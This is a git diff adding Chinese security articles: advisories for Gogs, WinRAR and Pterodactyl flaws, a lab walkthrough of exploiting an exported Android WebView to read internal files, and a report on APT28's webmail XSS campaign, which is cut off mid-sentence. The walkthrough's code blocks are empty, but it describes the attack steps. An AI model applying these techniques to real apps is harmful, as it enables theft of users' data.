漏洞概述

漏洞名称

Gogs 远程命令注入漏洞

漏洞编号

CVE-2024-56731

公开时间

2025-6-24

CVSS 3.1

9.9

漏洞类型

命令注入

POC状态

未公开

利用可能性

高

EXP状态

未公开

在野利用状态

未发现

技术细节状态

未公开

+ + +**01** + +影响组件 + + + +**Gogs** + 是使用 **Go** + 语言开发的轻量级自托管 **Git** + 服务，支持私有化部署，可在低资源设备上运行，提供类 GitHub 的仓库管理、Webhook等功能。 + + +**02** + +**漏洞描述** + + + +近日，**Gogs** + 被披露存在一处命令注入漏洞，该漏洞是由于对 **CVE-2024-39931** + 漏洞的修复中对 .git 目录的路径进行了检查，但仍然有可能通过符号链接的方式绕过检查从而修改配置文件，非特权用户账户可以使用配置中由**RUN_USER** +指定的账户权限，在 Gogs 实例上**执行任意命令** +。官方已经在新版本中修复此漏洞，建议受影响用户及时升级到安全版本。 + + +**03** + +**漏洞复现****** + + + +![](https://mmbiz.qpic.cn/mmbiz_png/5nNKGRl7pFgcSDmLEA4wicZCh8l4XYGNRVe8Kh7HyoIhTkZVbXbWWANHuJVfPgzIOPkSxibt9bbwu8PXyd5cFEDw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/5nNKGRl7pFgcSDmLEA4wicZCh8l4XYGNRE4r5cqGRZI7WLtvv2taLJcdVjreBQeAfPTnEe6ibIicZ7THjDKfeSMvQ/640?wx_fmt=png&from=appmsg "") + + +**04** + +**漏洞影响范围****** + + + +Gogs < 0.13.3 + + +**05** + +**网络空间测绘数据** + + + +360测绘云 Quake通过对全网资产测绘，发现Gogs具体分布如下所示。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5nNKGRl7pFgcSDmLEA4wicZCh8l4XYGNRUGgLxbvyrqRxqE7Ksyw1BUiaQo3UuqqKiaL5Zoh4zI1FlclQ3ib7tybrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/5nNKGRl7pFgcSDmLEA4wicZCh8l4XYGNRANCyOibTaZHgdA0Ryo1EXP4GJwJWQ2hY3GNrakrPTWQjoNbxfCfoJHQ/640?wx_fmt=png&from=appmsg "") + + +**06** + +**修复建议****** + + + +**正式防护方案** + +针对此漏洞，官方已经发布了漏洞修复版本，请立即更新到安全版本： + +Gogs >= 0.13.3 + +下载链接： + +https://github.com/gogs/gogs/releases/tag/v0.13.3 + +安装前，请确保备份所有关键数据，并按照官方指南进行操作。安装后，进行全面测试以验证漏洞已被彻底修复，并确保系统其他功能正常运行。 + + +**临时缓解措施** + +**1. 关闭开放注册** + +修改 custom/conf/app.ini 文件，设置： + +[service] + +DISABLE_REGISTRATION = true  ; 禁止公开注册 + +此后仅管理员可在后台手动添加用户 + +**2. 限制注册域/IP** + +若需部分开放注册，可设置白名单 + +[security] + +ALLOW_ONLY_EXTERNAL_REGISTRATION = true  ; 仅允许特定来源注册 + +REGISTRATION_WHITELIST_DOMAINS = example.com  ; 限制邮箱域名 + +**3. 私有仓库强制化** + +在 app.ini 中设置所有新仓库默认私有： + +[repository] + +DEFAULT_PRIVATE = always  ; 新仓库自动设为私有 + +**4. IP白名单与防火墙** + +使用 iptables 或 ufw 限制访问来源： + +# 仅允许IP 192.168.1.0/24 网段访问 + +sudo ufw allow from 192.168.1.0/24 to any port 3000,22 + + +**07** + +**时间线** + + + +2025年6月25日，360漏洞研究院发布安全风险通告。 + + +**08** + +参考链接 + + + +https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7 + +https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9 + +https://github.com/gogs/gogs/releases/tag/v0.13.3 + + +**09** + +更多漏洞情报 + + + +建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。 + + +邮箱：360VRI@360.cn + +网址：https://vi.loudongyun.360.net + + + +“洞”悉网络威胁，守护数字安全 + + +**关于我们** + + +360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgbJxnOxcKdRicA5Vlgv8Vdj79uMHokrh6ZZDyK49UF68xwvH2ttJ0eicYjADfDN3rsicht6B4toKg7w/640?wx_fmt=gif&from=appmsg "") + + diff --git a/doc/2025-06/【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218).md b/doc/2025-06/【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218).md new file mode 100644 index 00000000..cfcacdfd --- /dev/null +++ b/doc/2025-06/【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218).md @@ -0,0 +1,44 @@ +# 【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218) + 启明星辰安全简讯 2025-06-25 08:21 + +### 一、漏洞概述 +

漏洞名称

WinRAR 路径处理漏洞导致远程代码执行

CVE ID

CVE-2025-6218

漏洞类型

RCE

发现时间

2025-06-25

漏洞评分

7.8

漏洞等级

高危

攻击向量

本地

所需权限

无

利用难度

低

用户交互

需要

PoC/EXP

未公开

在野利用

未发现

+WinRAR是一款广泛使用的文件压缩和解压软件，支持多种压缩格式，如RAR、ZIP和其他常见格式。它提供强大的压缩和加密功能，允许用户创建自解压档案、分卷压缩和文件恢复等。WinRAR界面简洁，操作方便，适用于Windows、Mac和Linux等多个平台。它的压缩比率高，尤其适用于大型文件和文件夹的处理。WinRAR还具备强大的文件管理功能，支持拖放操作，广泛应用于个人和企业的数据存储与传输。 + +2025年6月25日，启明星辰集团VSRC监测到WinRAR存在存在路径处理漏洞，可能导致远程代码执行。该漏洞允许远程攻击者在受影响的WinRAR版本上执行任意代码，且需用户交互，攻击者需诱使用户访问恶意页面或打开恶意文件。漏洞的根本原因在于WinRAR对文件路径的处理不当，恶意构造的文件路径可能导致进程访问不该访问的目录，从而在当前用户上下文中执行恶意代码，漏洞评分7.8分，漏洞等级高危。 +### 二、影响范围 + +WinRAR ≤ 7.11 +### 三、安全措施 + +3.1 升级版本 + +WinRAR 已发布修复版本，建议受影响用户尽快升级至 WinRAR ≥ 7.12 Beta 1 + +下载链接： + +https://www.win-rar.com/singlenewsview.html?&tx_ttnews%5Btt_news%5D=276&cHash=388885bd3908a40726f535c026f94eb6/ + +3.2 临时措施 + +暂无。 + +3.3 通用建议 + +定期更新系统补丁，减少系统漏洞，提升服务器的安全性。 + +加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +使用企业级安全产品，提升企业的网络安全性能。 + +加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +启用强密码策略并设置为定期修改。 + +3.4 参考链接 + +https://www.zerodayinitiative.com/advisories/ZDI-25-409/ + +https://www.win-rar.com/singlenewsview.html?&tx_ttnews%5Btt_news%5D=276&cHash=388885bd3908a40726f535c026f94eb6 + +https://nvd.nist.gov/vuln/detail/CVE-2025-6218 diff --git a/doc/2025-06/【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞.md b/doc/2025-06/【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞.md new file mode 100644 index 00000000..be48cfec --- /dev/null +++ b/doc/2025-06/【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞.md @@ -0,0 +1,33 @@ +# 【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞 +cexlife 飓风网络安全 2025-06-25 09:33 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu02iaHZvNNicsjd4dA2lUPfzfMa7KFMyCEb0XnJybgFeg7libUj4ibuOR1BDAOyX5p7munIZ7IHXH9ejkA/640?wx_fmt=png&from=appmsg "") + +漏洞描述: + +Gogs是一款开源的自主托管Git服务,CVE-2024-56731中,攻击者可构造请求删除.git目录下的文件覆写相关敏感配置并实现远程命令执行控制服务器,官方已发布0.13.3版本修复该漏洞。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu02iaHZvNNicsjd4dA2lUPfzfMKfYHe7rCTEZicBzGYPkaPz45mojG3BX7eQhfJ7v75G7zSfYlbuVCNbg/640?wx_fmt=png&from=appmsg "") + +攻击场景: + +攻击者可能通过未经授权的方式访问Gogs实例,删除.git目录下的文件并实现远程命令执行 + +影响产品: + +0.13.3及之前版本  + +修复建议: + +补丁名称: + +Gоɡѕ信息泄露漏洞的补丁-更新至最新版本0.13.３ + +文件链接: + +https://github.com/gogs/gogs/releases/tag/v0.13.3  + + + + + diff --git a/doc/2025-06/【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132).md b/doc/2025-06/【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132).md new file mode 100644 index 00000000..12bc7e61 --- /dev/null +++ b/doc/2025-06/【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132).md @@ -0,0 +1,38 @@ +# 【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132) +cexlife 飓风网络安全 2025-06-25 09:33 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu02iaHZvNNicsjd4dA2lUPfzfMsKe3Oib0rlN7zyjKKkRdjPKaCuhzvCUEknUYdTiahj0VfWAjXibFqw2XQ/640?wx_fmt=png&from=appmsg "") + +漏洞描述: + +Ptеrоdасtуl是一个免费的开源游戏服务器管理面板,在1.11.1版本之前使用/lосаlеѕ/lосаlе.јѕоn并带有lосаlе和nаmеѕрасе查询参数时恶意行为者可以在未经过身份验证的情况下执行任意代码,利用执行任意代码的能力可以用于获取面板服务器的访问权限从面板配置中读取凭据从数据库中提取敏感信息,访问由面板管理的服务器文件等,此问题已在1.11.11版本中修复。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu02iaHZvNNicsjd4dA2lUPfzfMibl4ggc8SUs0IfLUnavJ7qRW2dQBQLQzpya8kShzxxlbGHDGactFswQ/640?wx_fmt=png&from=appmsg "") + +攻击场景: + +攻击者可以通过/locales/locale.json端点,使用locale和namespace查询参数来执行任意代码,无需身份验证。 + +影响产品: + +<1.11.11  + +检测方法: + +通过检查Pterodactyl面板的版本号来确定是否受影响,使用命令php artisan --version可以查看当前版本。  + +修复建议: + +补丁名称: + +Ptеrоdасtуl代码执行漏洞的补丁—更新至最新版本1.11.1 + +文件链接: + +https://github.com/pterodactyl/panel/releases/tag/v1.11.11  + +缓解措施: + +议用户尽快更新到最新版本以避免潜在的攻击风险,此外使用Wеb应用防火墙可以提供额外的保护 + + diff --git a/doc/2025-06/利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件.md b/doc/2025-06/利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件.md new file mode 100644 index 00000000..15933bd8 --- /dev/null +++ b/doc/2025-06/利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件.md @@ -0,0 +1,176 @@ +# 利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件 +原创 红云谈安全 红云谈安全 2025-06-25 11:50 + +**免责声明** + +由于传播、利用本公众号红云谈安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号红云谈安全及作者不为**此** +承担任何责任，一旦造成后果请自行承担！ +如有侵权烦请告知，我们会立即删除并致歉。谢谢！请在授权的站点测试，遵守网络安全法！ +**仅供** +**学习使用，****如若非法他用，与平台和本文作者无关，需自行负责！** + + +你有没有想过能够窃取 Android 应用程序的内部文件，例如 +.db +文件或其他敏感数据？在本文中，我将通过解决 +hextree.io +的一个实验来指导你如何做到这一点。 +# 初步分析 + +**首先，我在Android Studio 模拟器** +上安装了目标应用程序，并使用 +**JADX** +对其进行反编译，以分析其 +AndroidManifest.xml +文件。我很快注意到一个 +**WebView 活动** +被标记为 +exported="true" + + +为了进一步调查，我检查了活动的 +**onCreate()** +方法。 + +# 分解 onCreate() 方法 +1. 应用程序使用 检索额外的字符串值 (  +URL +)  +getIntent() +。 + +1. 如果值为 +null +，则默认为加载 +https://www.hextree.io +。 + +1. 然后，它使用以下内容配置 WebView 设置： + +``` +``` + +这些设置 +**非常危险** +，尤其是： +- setAllowUniversalAccessFromFileURLs(true) +，允许 WebView 从多个来源加载文件，包括 +https:// +、、 +content:// +和 +file:// +……等 + +- 这可能使攻击者能够通过恶意 HTML 页面读取本地文件，或获得 +**RCE。** + +\4. 应用程序生成一个随机 +**UUID** +并将其写入名为 的文件中 +token.txt +。 + +\5. 它注册一个名为的 +**JavaScript 接口** +"hextree" +，并将其映射到一个 +JsObject +类。 + +\6. 最后，它加载提供的 +URL +。 +# 检查 JavaScript 接口 + + +该类 +JsObject +包含一个 +authCallback() +函数： +- 接受一个 +**标记** +作为参数。 + +- 读取 +token.txt +文件并比较其值。 + +- 如果令牌匹配，它将触发该 +success() +方法（这是我们的目标）。 + +- 否则，它什么也不做。 + +# 漏洞利用 + +由于该应用程序允许通用文件访问并提供了 JavaScript 接口，我们可以通过加载带有 +**恶意 JavaScript 负载的** +外部 URL 来利用它。 +## 1. JavaScript 有效载荷 + +以下脚本将从函数中窃取令牌 +token.txt +并将其传递给 +authCallback() +函数： +``` +``` +## 解释： +- onload +该脚本在页面加载（事件）时执行。 + +- 它发出 +**XHR 请求** +来检索的内容 +token.txt +。 + +- 一旦加载，它 +**会修剪** +响应并将其发送到 +authCallback() +，从而触发成功条件。 + +将此有效载荷保存为 +exploit.html +应用程序的内部存储：file:///data/data/io.hextree.attacksurface/files/exploit.html +# 2. 部署攻击 + +为了启动漏洞利用，我们需要创建一个 +**攻击应用程序** +，向易受攻击的 WebView 活动发送意图，指示它加载我们的恶意 HTML 文件。 +## 漏洞利用应用程序代码： +``` +``` +## 工作原理： +1. 该应用程序通过指定其包和类名 +**来定位易受攻击的 WebView 活动。** + +1. 它设置为我们的 +**恶意 HTML 负载** +exploitUrl +的路径。 + +1. 它将这个 URL 作为额外的字符串（ ） +**传递** +URL +并启动活动。 + +一旦漏洞应用程序启动，易受攻击的 WebView 就会加载我们的有效负载，读取 +token.txt +，并成功触发 +authCallback() +，从而授予我们访问 +**标志** +的权限。 + + +这表明 Android 应用程序存在严重的 +**WebView 漏洞** +，并展示了如何利用不安全的设置来窃取内部文件。 + + + + diff --git a/doc/2025-06/在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击.md b/doc/2025-06/在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击.md new file mode 100644 index 00000000..77425ce8 --- /dev/null +++ b/doc/2025-06/在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击.md @@ -0,0 +1,59 @@ +# 在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击 +Rhinoer 犀牛安全 2025-06-25 15:00 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4r3fpITcJp5MjZiata25eWBOs9ROdsqbCyoeFdMJHIpQWibZnzHajAL5hg/640?wx_fmt=png&from=appmsg "") + +黑客正在开展一项代号为“RoundPress”的全球网络间谍活动，利用网络邮件服务器中的零日漏洞和 n 日漏洞窃取高价值政府组织的电子邮件。 + +发现此次行动的ESET 研究人员认为，该行动是俄罗斯政府支持的黑客APT28（又名“Fancy Bear”或“Sednit”）所为，且有一定把握。 + +该活动于 2023 年启动，并于 2024 年继续采用新的漏洞利用，目标是 Roundcube、Horde、MDaemon 和 Zimbra。 + +值得注意的目标包括希腊、乌克兰、塞尔维亚和喀麦隆的政府、乌克兰和厄瓜多尔的军事单位、乌克兰、保加利亚和罗马尼亚的国防公司以及乌克兰和保加利亚的关键基础设施。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4rATxQ6VCWrM7e8JVu9TG47LY6LHzlPibluSicjdEV0ZMw0h9pPzDwzuAA/640?wx_fmt=png&from=appmsg "") + +打开电子邮件，数据被盗 + +攻击始于一封引用当前新闻或政治事件的鱼叉式网络钓鱼电子邮件，通常包括新闻文章摘录以增加合法性。 + +电子邮件 HTML 正文中嵌入的恶意 JavaScript 负载会触发收件人使用的 Web 邮件浏览器页面中的跨站点脚本 (XSS) 漏洞的利用。 + +受害者只需打开电子邮件即可查看，因为恶意 JavaScript 脚本的执行不需要其他交互/点击、重定向或数据输入。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4refBqmmZRRwUK0laURp6w9J6VwoMbXnvG279k5mlGybUEwUgY8woR2A/640?wx_fmt=png&from=appmsg "") + +该有效载荷没有持久机制，因此仅在打开恶意电子邮件时执行。 + +该脚本创建不可见的输入字段来诱骗浏览器或密码管理器自动填充受害者电子邮件帐户的存储凭据。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4rKDZx19A52ylb6fvCC3NTQgEicOAfv7Dw9h7gKKJGIgxv6lVxtKpqd4A/640?wx_fmt=png&from=appmsg "") + +此外，它还读取 DOM 或发送 HTTP 请求来收集电子邮件消息内容、联系人、网络邮件设置、登录历史记录、双因素身份验证和密码。 + +然后使用 HTTP POST 请求将数据泄露到硬编码的命令和控制 (C2) 地址。 + +每个脚本都有一组略有不同的功能，根据其目标产品进行调整。 + +漏洞目标 + +RoundPress 行动针对的是重要组织通常用来注入恶意 JS 脚本的各种网络邮件产品中的多个 XSS 漏洞。 + +与此活动相关的 ESET 漏洞利用涉及以下缺陷： +- Roundcube - CVE-2020-35730：黑客于 2023 年利用的一个存储型 XSS 漏洞，将 JavaScript 直接嵌入电子邮件正文中。当受害者在基于浏览器的 Web 邮件会话中打开电子邮件时，该脚本会在其上下文中执行，从而窃取凭证和数据。 + +- Roundcube - CVE-2023-43770：Roundcube 处理超链接文本时存在 XSS 漏洞，该漏洞于 2024 年初被利用。不当的清理导致攻击者将